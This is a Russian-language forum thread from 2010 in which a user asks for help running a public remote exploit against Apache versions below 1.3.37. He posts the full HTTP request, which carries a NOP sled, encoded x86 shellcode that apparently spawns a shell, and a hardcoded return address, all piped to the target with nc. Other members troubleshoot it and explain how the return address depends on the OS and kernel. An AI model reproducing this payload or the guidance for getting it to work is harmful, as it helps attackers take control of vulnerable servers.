Apche <1.3.37 exploit

Discussion in 'Песочница' started by invis87, 2 Apr 2010.

  1. invis87

    invis87 New Member

    Joined:
    9 Apr 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Помогите разобраться с эксплойтом - http://milw0rm.com/exploits/2237
    Пытаюсь его запустить но сервер в ответ пишет
    HTTP/1.1 400 Bad Request

    Я так понимаю в этой строке:
    Code:
    echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
    закралась лишняя кавычка, но вот какая именно не уловлю.
     
  2. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    208
    Likes Received:
    63
    Reputations:
    34
    попробуй убрать кавычку возле гет
     
  3. invis87

    invis87 New Member

    Joined:
    9 Apr 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Не помогло.
    Code:
    echo -ne my_string_for_print
    работает так же как и
    Code:
    echo -ne "my_string_for_print"
     
  4. invis87

    invis87 New Member

    Joined:
    9 Apr 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Code:
    echo -ne "GET /kung/ldap://localhost/%90%90%90%90%90%90%90%90%90%90%90\
    %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\
    %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\
    %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\
    %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90\
    %90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%89%e6\
    %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
    %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
    %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
    %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
    %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
    %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
    %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
    %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
    %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
    Host: $host\r\n\r\n" | nc $host 80
    Такая штука тоже не работает. Даже с удалёнными CCCCCCCCCC....
    пробовал так:

    Code:
    nc <host> <port>
    <тут мессага хосту>
    Если в месседже после GET <uri> есть пробел, то сразу выбрасывается <TITLE>400 Bad Request</TITLE>
    Как же тогда выполнить экспойт с его
    Code:
    HTTP/1.1\r\n\ Host: $host\r\n\r\n
    Что вообще ЭТО делает
     
  5. overxor

    overxor Member

    Joined:
    11 Sep 2009
    Messages:
    32
    Likes Received:
    9
    Reputations:
    0
    Это сетевая этика. Чтобы клиент и сервер понимали друг друга и не было путаницы, было введено использовать возврат каретки и переход на новую строку.

    ldap обработчик в апаче по дефолту, вроде, отключен, поэтому не вызывается уязвимая функция.

    Если бы даже он был включен, вероятность выполнения это эксплойта была бы ничтожна мала, т.к. адрес возврата задан для определенной ОС(в данном случае debian). Так что, тебе придется сначала найти эту уязвимость, проэксплуатировать, написать версии для разных ОС и только потом уже использовать =) enjoy
     
    2 people like this.
  6. invis87

    invis87 New Member

    Joined:
    9 Apr 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    спасибо
     
  7. Migel

    Migel New Member

    Joined:
    6 Jun 2010
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    Я не понимаю при чем здесь ОС? Разьве Apache для разных линухов отличаются?
     
  8. overxor

    overxor Member

    Joined:
    11 Sep 2009
    Messages:
    32
    Likes Received:
    9
    Reputations:
    0
    Apache - нет,а адрес возварата везде разный
     
  9. Migel

    Migel New Member

    Joined:
    6 Jun 2010
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    Я не силен в программировании, но зачем нужен адрес возврата для DoS експлойта? Записать в память кашу можно и не зная его...
     
  10. Migel

    Migel New Member

    Joined:
    6 Jun 2010
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    И еще - разве такие вещи не зависят от ядра? Т.е. ясное дело, что такой сплойт не подойдет к соляре, но разьве он не будет работать скажем на ВСЕХ линухах с одинаковым ядром?
     
  11. overxor

    overxor Member

    Joined:
    11 Sep 2009
    Messages:
    32
    Likes Received:
    9
    Reputations:
    0
    Адрес возврата нужен чтобы передать по нему управление. И с чего ты решил, что это DoS эксплойт? Присутствует вполне рабочий шелкод, ноп след.

    Да зависит от ядра. Если они идентичны, то и адрес возврата можно брать из фиксированного диапазона адресов.
     
  12. Migel

    Migel New Member

    Joined:
    6 Jun 2010
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    Из описания на milw0rm...